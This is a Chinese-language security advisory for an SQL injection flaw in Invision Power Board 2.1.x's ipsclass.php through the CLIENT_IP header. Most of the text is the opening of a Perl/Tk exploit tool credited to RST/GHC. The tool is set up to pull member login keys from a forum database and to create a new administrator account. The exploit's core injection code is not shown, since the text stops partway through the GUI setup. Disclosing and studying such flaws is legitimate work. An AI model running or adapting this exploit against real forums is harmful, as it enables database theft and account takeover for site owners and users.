Invision Power Board ipsclass.php脚本远程SQL…

发布日期：2006-07-18
更新日期：2006-07-19

受影响系统：

Invision PS IPB 2.1.x

不受影响系统：

Invision PS IPB 2.1.7

描述：

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BUGTRAQ ID: 18984

Invision Power Board是一个非常流行的PHP论坛程序。

Invision Power Board对用户请求数据的处理存在输入验证漏洞，远程攻击者可能利用此漏洞对服务器执行SQL注入攻击，非法操作数据库。

在Invision Power Board的ipsclass.php脚本中由于没有正确的验证对CLIENT_IP HTTP头字段的输入数据，因此远程攻击者可以利用SQL注入攻击执行任意SQL代码。

<*来源：1dt.w0lf （idtwolf@sigaret.net）

链接：http://secunia.com/advisories/21072/print/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Exploit 1

#!/usr/bin/perl

## Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC
## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41
## http://rst.void.ru/papers/advisory41.txt
## tested on 2.1.3, 2.1.6
##
## 08.06.06
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;

$mw = new MainWindow(title => "r57ipb216gui" );

$mw->geometry ( '420x550' ) ;
$mw->resizable(0,0);

$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
$mw->Label(-text => 'Invision Power Board 2.1.* <= 2.1.6 sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '')->pack();

$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;

$url = 'http://server/forum/index.php';
$user_id = '1';
$prefix = 'ibf_';
$table = 'members';
$column = 'member_login_key';
$new_admin_name = 'rstghc';
$new_admin_password = 'rstghc';
$new_admin_email = 'billy@microsoft.com';
$report = '';
$group = 4;
$curr_user = 0;
$rand_session = &session();
$use_custom_fields = 0;
$custom_fields = 'name1=value1,name2=value2';

$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => '{Verdana} 8');
$b2->insert("end", "members");
$b2->insert("end", "members_converge");
$b2->pack( -side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

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